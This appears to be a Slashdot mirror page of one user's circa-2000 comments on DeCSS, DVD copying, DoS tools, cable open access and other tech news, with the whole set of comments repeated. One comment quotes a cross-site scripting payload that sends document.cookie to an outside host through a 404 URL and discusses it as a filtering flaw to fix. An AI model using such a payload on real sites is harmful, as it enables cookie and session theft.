Woops: illegal to since Should be: illegal too, since
Also, now that I think about it, there might be some legitimate reasons why you'd want to capture the output of a screen using the method you described, so it probably wouldn't be deemed illegal. I still think it would be hard to stay in sync with the frame rate of the DVD, and this method is certainly not as clean and desirable as using DeCSS while copying the raw MPEG stream.
So fake a video driver and capture it as the DVD player blits it to the screen. Voiala, a perfect digital copy. There's no Macrovision for computers. (This has been done).
This could be construed as illegal to since its primary (only) purpose is to thwart copy protection. Also, you'd need a huge amount of storage to store the uncompressed stream, and it might be hard to know exactly when to capture the image. In addition, the quality would not be as good as the original once you recompress it down to a more manageable size. DeCSS has none of these problems. Lastly, just because there are other ways to thwart their copy protection doesn't mean that one method should be legal.
But the video would have to be digital to analog converted and than analog to digital converted. This would result in a substantial loss in quality. The movie industry is only concerned about perfect digital copies of their work being freely available.
I've seen DVDs copied. It would be really silly to decrypt it first. That would be like reading a text file off the screen, writing it to a piece of paper, then firing up vi and writing it to a new file on a floppy. It would be a little easier to copy it.
Why would it be really silly to decrypt it first? Decrpyting it allows it to be distributed to anyone on any media that you choose. It allows it to be used in players that don't respect Region Enconding. Lastly, it allows you to compress it into another format with near perfect results. With an encrypted DVD, your limited to making byte for byte copies to another DVD that only play in MPAA blessed DVD players.
A News.com article says that the FBI is now looking for a German programmer named, "Mixter" who allegedly wrote the programs that were used in the DoS attacks.
He vehemently denies any involvement with these incidents and does not condone people using his tools for such nefarious purposes. The article goes on to say, "Their[people who write these kind of tools] work is controversial, however, because the programs they write can fall into the wrong hands when posted on the Web." This brings up an interesting point. Since these tools have been written everybody needs to assume that they are already in the wrong hands, and anyone responsible for the security of their networks should be pounding themselves with DoS attempts using these tools, so that they can learn how to protect themselves.
This whole push for open access seems like a waste of time. The bottom line is that 90% of one's cable bill pays for the physical lines, the backend hardware, and the bandwidth to the rest of the Internet. If my cable company was forced to participate in open access and my bill suddenly said that I owed my monthly cable modem fee to AOL, AOL would in return have to pay the cable company, whomever controls the hardware at the backend, and then pay the company that supplies the bandwidth to the cable system.
Roadrunner and @Home basically rents the physical lines from the cable company and provides billing and the backend hardware. If AOL wanted to be involved with this aspect of the service, it would require a significant investment that wouldn't seem practical. The service AOL could directly provide is the small portion of your bill that pays for mail and news service.
Wow this seems dangerous for Berkeley. You could easily get a bunch of friends together, and launch any sort of attack using Berkeley's network using your own laptops. Your attack would be untracable since it would look like it is coming from a computer at Berkeley. Also, since you are using your own computer, your attack could do anything it wants since you could control the network stack. Isn't this a huge security risk?
I believe a lot of Universities (USC included) check the MAC address of any device trying to use the network, and only allow MAC addresses that have already been registered to be allowed on the net. This gives them more protection and ensures that they will be able to track any malicious use of their network.
DVD players can play unencrypted media. Many porno movies are unencrypted, and creating free DVD appliances that can play unencrypted media is perfectly legal, and in fact, there is free program for the Macintosh that can play unencrypted media. That media would not exist if existing DVD players could not play it. It is perfectly feasible to produce free (as in freedom) DVD appliances - recording and playback, audio and digital.
Please, please get a clue, and stop spreading this FUD around. Hollywood wants to control their own content (which they have a right to do), not other people's content.
So, since an industry as a whole is successful, it is okay to steal from them? If I stole millions of dollars from a bank, would that be okay since the banking industry is hardly going, "belly up"?
How many companies have gone "belly up" because there software was not purchased by enough honest people? There are numerous cases of companies abandoning markets because sales weren't high enough. Perhaps they could have been higher if people wouldn't have pirated their software. How many programs have we lost because of people like you? How many people have lost their business because sales have not been what they should have been because of people like you? Please don't try to rationalize your behavior with such poor logic.
You can do anything you want, but know that pirating is never the right thing to do, and your justification that it is okay since just stealing from the faceless corporations is wrong.
DVD players can already play discs without DeCSS encryption. Most porn movies aren't DeCSS encrypted and they can be played in all DVD players, and also there are already numerous programs on all platforms that can play DVD's that aren't DeCSS encrypted. It CSS encrypted media, that freeware players can't play.
You're missing the point of CSS and why it is so valuable to the movie industry. The entertainment industry wants to ensure that only licensed players can play encrypted DVD's so that they can ensure players won't have a, "Save as unencrypted..." or even a "Save as..." option, and will respect the region encoding system. Without control over the players, the region encoding and CSS encryption would be useless since not all players would support it, and people will move to players that don't abide by the restrictions licensed players must adhere to. Region encoding benefits the average person because movie studios can release a DVD while it is still in theaters in other parts of the world. Without region encoding, movie studios would have to wait until the movie is done in all parts of the world before releasing the DVD.
So, before you get into a hissy fit about the monopoly the DVD consortium has, understand content makers are free to release their content without any restrictions on it, and anyone can make a player that plays this content. However, the CSS encryption allows the studios to choose to protect their assets. If you don't support CSS encrypted content, simply buy the VHS tape, or don't buy the content. You don't have the right to unencrypted content, and DeCSS would basically grant you that right.
How close to usefulness are we?
on
Nano Logo
·
· Score: 1
The now-empty channels show up as orange areas on a yellow background. The UMass researchers have successfully filled the holes with metal, a major step toward creating usable electronic devices.
Maybe someone can explain this to me, but the fact that they can fill a very inexact mold with medal really doesn't show me that they are close to producing electronic devices. The individual partitions of the mold seem to be of a fixed shape, so the ability to cast exact electronic parts seems to be very limited. Could someone please tell me how far away useful nano-technology is? How far away are we from being able to duplicate the power and functionality of a cell? When will we have the most hyped use of this new class of devices, nano-sized robots that can do custom drug delivery? It doesn't sound like we are even close
That's not true. Your computer has no idea what the size of your monitor is. 1600x1200 looks entierely different on a 17" monitor compared with a 21" monitor. There is no way for it to raise the size of 10pt text and have it look good on both monitors.
He changes the number of absences, not his grades if I remember correctly. The scene was slightly original because the number of absences where changing in front of the principle's eyes.
Why couldn't you just have your javascript function go first to some page that you can count that number of hits on, and then redirect to the proper page with the magazine subscripitions on it.
Maybe the reason is that when you change www.slashdot.org to www.Amazon.com, Amazon.com returns the following 404 page:
The requested URL/notthere<SCRIPT>document.location='http://ali ves.znep.com/cgi-bin/printenv was not found on this server.
On the other hand, if you leave the link as originally posted, slashdot.org returns the following 404 page: The requested URL (notthere<SCRIPT>document.location='http://ali ves.znep.com/cgi-bin/printenv?'+document.cookie</SCRIPT>) is not found.
Thus, it seems that Slashdot's 404 reporting method does not do the same filtering as Amazon.com's 404 reporting method. Slashdot needs to fix this exploit immediately since this seems to be clearly the most dangerous threat to one's cookies. Also, while Slashdot filtered out SCRIPT when it was enclosed inside less than and greater than symbols, it didn't properly filter out the tag when it was enclosed by ampersand lt and ampersand gt. Shouldn't Slashdot filter out both versions of the tag?
Please, please please someone moderate this up. Does this script really do what the author says? If I changed www.slashdot.org to www.amazon.com, would I be sending him my Amazon.com cookie? If not, what is the difference?
The reason is clear: Hemos realizes that including an inflammatory editorial at the end of a post about an operating system being superior to the Linux will increase comments by at least 100%. More page fews = More Money!
In the S-1 filing, you'll see that Andover.net has structured the terms of Slashdot's acquisition agreement so that there is 5 to 20 millions in incentive dollars riding on the ability of Slashdot's crew doubling the number of page views in during the next two years. For information see: Andover.net's S1 filing
Ugh! Edison might have screwed up in believing that DC power was superior to AC power, but does that invalidate his previous work? That "primer" is completely biased and uses third graders as pawns. Edison did start the electric revolution. Even if his original invention, the light bulb ran on the wrong type of current, it was the first practical invention that required electricity to run. Also, despite what that third grade teacher says, many people do know that while Edison invented the light bulb, his DC current system was a failure. However, this doesn't invalidate a lifetime of work or make him a theif. Teslar's biggest shortcoming was that he was a poor businuss man; he should never have sold his patents to George Westinghouse.
Maybe (big maybe) he patented his idea so that it could be used and distributed freely to prevent a company from patenting it and charging licensing fees. Who knows? Certainly, none of us do.
However, if you invent something and publically diseminate the invention, there is no way that another company or individual will ever be able to patent that invention since there will already be prior art.
This is hardly a blow to the OpenDVD orginazation. The court ruled that no web site in the jurisdiction of the California court can post the DeCSS source code. NOT A BIG DEAL. These same sites can publish links to the code, host discussions about the code, and basically are hardly permitted from doing anything.
In addition, the fact that the DeCSS code is misappropriating trade secrets is on shaking ground. The whole case would have been thrown out completely if the judge determined that "click licenses" were not enforceable in Norway. I'm sure there is some country in this world that has determined that "click licenses" are not enforceable. It will just take someone in that country who hasn't seen deCSS to reverse engineer some DVD player, and the source code will be free as a bird.
Unfortuantly, if another version of deCSS is created that legally reversed engineered a DVD player, I suspect that the movie industry will sue under the DMCA since reverse engineering is not given the same protection.
Please read the injunction before posting. The judge explicitly said:
The Court is not persuaded that trade secret status shbould be deemed destroyed at this stage merely by the posting of the trade secret to the Internet. To hold otherwise would do nothing less than encourage misappropriaters of trade secrets to post the fruits of their wrongdoing on the Internet as quikly as possible and as widely as possible thereby destrying a trade secret forever.
Besides, a newspaper like the NY Times would get there pants sued off it they knowingly published information that they knew was a trade secret.
For the longest time, I've wondered where national news services get there anecdotal reports from. Case in point:
Peg Graham of New York installed AOL's latest software on her laptop weeks after its initial release in October with disastrous results: Her computer crashed. In vain, her laptop manufacturer urged her to reinstall her entire Windows operating system -- she did three times -- before she finally paid a local repair shop $145 to fix it.
Afterward, she returned to an earlier version of AOL's software she considers less risky. She suspects the new program suffered conflicts with the laptop's network hardware she used to connect at her university.
How does the author of this AP news story find out about Peg Graham? Also, her problem is entirely unrelated to the issues of AOL taking over the Internet duties for the entire computer. Most likely this is a separate bug due to an incompatibility in AOL's custom TCP/IP stack, or it could be a problem with Windows. Obviously, if she reinstalled the operating system three times, and was still unable to fix the problem, there was something else going on. The point is, the author of the article does not know what caused her $145 worth of damage nor whether her story is unique case, but still tries to lump it in within an article about AOL taking over the Internet services of the entire computer. The author does this to make the story seem bigger and more urgent.
Slashdot Mirror
Woops: illegal to since
Should be: illegal too, since
Also, now that I think about it, there might be some legitimate reasons why you'd want to capture the output of a screen using the method you described, so it probably wouldn't be deemed illegal. I still think it would be hard to stay in sync with the frame rate of the DVD, and this method is certainly not as clean and desirable as using DeCSS while copying the raw MPEG stream.
So fake a video driver and capture it as the DVD player blits it to the screen. Voiala, a perfect digital copy. There's no Macrovision for computers. (This has been done).
This could be construed as illegal to since its primary (only) purpose is to thwart copy protection. Also, you'd need a huge amount of storage to store the uncompressed stream, and it might be hard to know exactly when to capture the image. In addition, the quality would not be as good as the original once you recompress it down to a more manageable size. DeCSS has none of these problems. Lastly, just because there are other ways to thwart their copy protection doesn't mean that one method should be legal.
You could just play into a video capture card
But the video would have to be digital to analog converted and than analog to digital converted. This would result in a substantial loss in quality. The movie industry is only concerned about perfect digital copies of their work being freely available.
I've seen DVDs copied. It would be really silly to decrypt it first. That would be like reading a text file off the screen, writing it to a piece of paper, then firing up vi and writing it to a new file on a floppy. It would be a little easier to copy it.
Why would it be really silly to decrypt it first? Decrpyting it allows it to be distributed to anyone on any media that you choose. It allows it to be used in players that don't respect Region Enconding. Lastly, it allows you to compress it into another format with near perfect results. With an encrypted DVD, your limited to making byte for byte copies to another DVD that only play in MPAA blessed DVD players.
A News.com article says that the FBI is now looking for a German programmer named, "Mixter" who allegedly wrote the programs that were used in the DoS attacks.
He vehemently denies any involvement with these incidents and does not condone people using his tools for such nefarious purposes. The article goes on to say, "Their[people who write these kind of tools] work is controversial, however, because the programs they write can fall into the wrong hands when posted on the Web." This brings up an interesting point. Since these tools have been written everybody needs to assume that they are already in the wrong hands, and anyone responsible for the security of their networks should be pounding themselves with DoS attempts using these tools, so that they can learn how to protect themselves.
Thanks for clearing it up for me!
This whole push for open access seems like a waste of time. The bottom line is that 90% of one's cable bill pays for the physical lines, the backend hardware, and the bandwidth to the rest of the Internet. If my cable company was forced to participate in open access and my bill suddenly said that I owed my monthly cable modem fee to AOL, AOL would in return have to pay the cable company, whomever controls the hardware at the backend, and then pay the company that supplies the bandwidth to the cable system.
Roadrunner and @Home basically rents the physical lines from the cable company and provides billing and the backend hardware. If AOL wanted to be involved with this aspect of the service, it would require a significant investment that wouldn't seem practical. The service AOL could directly provide is the small portion of your bill that pays for mail and news service.
Wow this seems dangerous for Berkeley. You could easily get a bunch of friends together, and launch any sort of attack using Berkeley's network using your own laptops. Your attack would be untracable since it would look like it is coming from a computer at Berkeley. Also, since you are using your own computer, your attack could do anything it wants since you could control the network stack. Isn't this a huge security risk?
I believe a lot of Universities (USC included) check the MAC address of any device trying to use the network, and only allow MAC addresses that have already been registered to be allowed on the net. This gives them more protection and ensures that they will be able to track any malicious use of their network.
Wrong, wrong, wrong.
DVD players can play unencrypted media. Many porno movies are unencrypted, and creating free DVD appliances that can play unencrypted media is perfectly legal, and in fact, there is free program for the Macintosh that can play unencrypted media. That media would not exist if existing DVD players could not play it. It is perfectly feasible to produce free (as in freedom) DVD appliances - recording and playback, audio and digital.
Please, please get a clue, and stop spreading this FUD around. Hollywood wants to control their own content (which they have a right to do), not other people's content.
So, since an industry as a whole is successful, it is okay to steal from them? If I stole millions of dollars from a bank, would that be okay since the banking industry is hardly going, "belly up"?
How many companies have gone "belly up" because there software was not purchased by enough honest people? There are numerous cases of companies abandoning markets because sales weren't high enough. Perhaps they could have been higher if people wouldn't have pirated their software. How many programs have we lost because of people like you? How many people have lost their business because sales have not been what they should have been because of people like you? Please don't try to rationalize your behavior with such poor logic.
You can do anything you want, but know that pirating is never the right thing to do, and your justification that it is okay since just stealing from the faceless corporations is wrong.
DVD players can already play discs without DeCSS encryption. Most porn movies aren't DeCSS encrypted and they can be played in all DVD players, and also there are already numerous programs on all platforms that can play DVD's that aren't DeCSS encrypted. It CSS encrypted media, that freeware players can't play.
You're missing the point of CSS and why it is so valuable to the movie industry. The entertainment industry wants to ensure that only licensed players can play encrypted DVD's so that they can ensure players won't have a, "Save as unencrypted..." or even a "Save as..." option, and will respect the region encoding system. Without control over the players, the region encoding and CSS encryption would be useless since not all players would support it, and people will move to players that don't abide by the restrictions licensed players must adhere to. Region encoding benefits the average person because movie studios can release a DVD while it is still in theaters in other parts of the world. Without region encoding, movie studios would have to wait until the movie is done in all parts of the world before releasing the DVD.
So, before you get into a hissy fit about the monopoly the DVD consortium has, understand content makers are free to release their content without any restrictions on it, and anyone can make a player that plays this content. However, the CSS encryption allows the studios to choose to protect their assets. If you don't support CSS encrypted content, simply buy the VHS tape, or don't buy the content. You don't have the right to unencrypted content, and DeCSS would basically grant you that right.
The now-empty channels show up as orange areas on a yellow background. The UMass researchers have successfully filled the holes with metal, a major step toward creating usable electronic devices.
Maybe someone can explain this to me, but the fact that they can fill a very inexact mold with medal really doesn't show me that they are close to producing electronic devices. The individual partitions of the mold seem to be of a fixed shape, so the ability to cast exact electronic parts seems to be very limited. Could someone please tell me how far away useful nano-technology is? How far away are we from being able to duplicate the power and functionality of a cell? When will we have the most hyped use of this new class of devices, nano-sized robots that can do custom drug delivery? It doesn't sound like we are even close
That's not true. Your computer has no idea what the size of your monitor is. 1600x1200 looks entierely different on a 17" monitor compared with a 21" monitor. There is no way for it to raise the size of 10pt text and have it look good on both monitors.
He changes the number of absences, not his grades if I remember correctly. The scene was slightly original because the number of absences where changing in front of the principle's eyes.
Why couldn't you just have your javascript function go first to some page that you can count that number of hits on, and then redirect to the proper page with the magazine subscripitions on it.
The requested URL
On the other hand, if you leave the link as originally posted, slashdot.org returns the following 404 page:
The requested URL (notthere<SCRIPT>document.location='http://al
Thus, it seems that Slashdot's 404 reporting method does not do the same filtering as Amazon.com's 404 reporting method. Slashdot needs to fix this exploit immediately since this seems to be clearly the most dangerous threat to one's cookies. Also, while Slashdot filtered out SCRIPT when it was enclosed inside less than and greater than symbols, it didn't properly filter out the tag when it was enclosed by ampersand lt and ampersand gt. Shouldn't Slashdot filter out both versions of the tag?
Please, please please someone moderate this up. Does this script really do what the author says? If I changed www.slashdot.org to www.amazon.com, would I be sending him my Amazon.com cookie? If not, what is the difference?
The reason is clear: Hemos realizes that including an inflammatory editorial at the end of a post about an operating system being superior to the Linux will increase comments by at least 100%. More page fews = More Money!
In the S-1 filing, you'll see that Andover.net has structured the terms of Slashdot's acquisition agreement so that there is 5 to 20 millions in incentive dollars riding on the ability of Slashdot's crew doubling the number of page views in during the next two years. For information see: Andover.net's S1 filing
If you can, please reply to this thread when you get a chance.
Ugh! Edison might have screwed up in believing that DC power was superior to AC power, but does that invalidate his previous work? That "primer" is completely biased and uses third graders as pawns. Edison did start the electric revolution. Even if his original invention, the light bulb ran on the wrong type of current, it was the first practical invention that required electricity to run. Also, despite what that third grade teacher says, many people do know that while Edison invented the light bulb, his DC current system was a failure. However, this doesn't invalidate a lifetime of work or make him a theif. Teslar's biggest shortcoming was that he was a poor businuss man; he should never have sold his patents to George Westinghouse.
Maybe (big maybe) he patented his idea so that it could be used and distributed freely to prevent a company from patenting it and charging licensing fees. Who knows? Certainly, none of us do.
However, if you invent something and publically diseminate the invention, there is no way that another company or individual will ever be able to patent that invention since there will already be prior art.
This is hardly a blow to the OpenDVD orginazation. The court ruled that no web site in the jurisdiction of the California court can post the DeCSS source code. NOT A BIG DEAL. These same sites can publish links to the code, host discussions about the code, and basically are hardly permitted from doing anything.
In addition, the fact that the DeCSS code is misappropriating trade secrets is on shaking ground. The whole case would have been thrown out completely if the judge determined that "click licenses" were not enforceable in Norway. I'm sure there is some country in this world that has determined that "click licenses" are not enforceable. It will just take someone in that country who hasn't seen deCSS to reverse engineer some DVD player, and the source code will be free as a bird.
Unfortuantly, if another version of deCSS is created that legally reversed engineered a DVD player, I suspect that the movie industry will sue under the DMCA since reverse engineering is not given the same protection.
Please read the injunction before posting. The judge explicitly said:
The Court is not persuaded that trade secret status shbould be deemed destroyed at this stage merely by the posting of the trade secret to the Internet. To hold otherwise would do nothing less than encourage misappropriaters of trade secrets to post the fruits of their wrongdoing on the Internet as quikly as possible and as widely as possible thereby destrying a trade secret forever.
Besides, a newspaper like the NY Times would get there pants sued off it they knowingly published information that they knew was a trade secret.
For the longest time, I've wondered where national news services get there anecdotal reports from. Case in point:
Peg Graham of New York installed AOL's latest software on her laptop weeks after its initial release in October with disastrous results: Her computer crashed. In vain, her laptop manufacturer urged her to reinstall her entire Windows operating system -- she did three times -- before she finally paid a local repair shop $145 to fix it.
Afterward, she returned to an earlier version of AOL's software she considers less risky. She suspects the new program suffered conflicts with the laptop's network hardware she used to connect at her university.
How does the author of this AP news story find out about Peg Graham? Also, her problem is entirely unrelated to the issues of AOL taking over the Internet duties for the entire computer. Most likely this is a separate bug due to an incompatibility in AOL's custom TCP/IP stack, or it could be a problem with Windows. Obviously, if she reinstalled the operating system three times, and was still unable to fix the problem, there was something else going on. The point is, the author of the article does not know what caused her $145 worth of damage nor whether her story is unique case, but still tries to lump it in within an article about AOL taking over the Internet services of the entire computer. The author does this to make the story seem bigger and more urgent.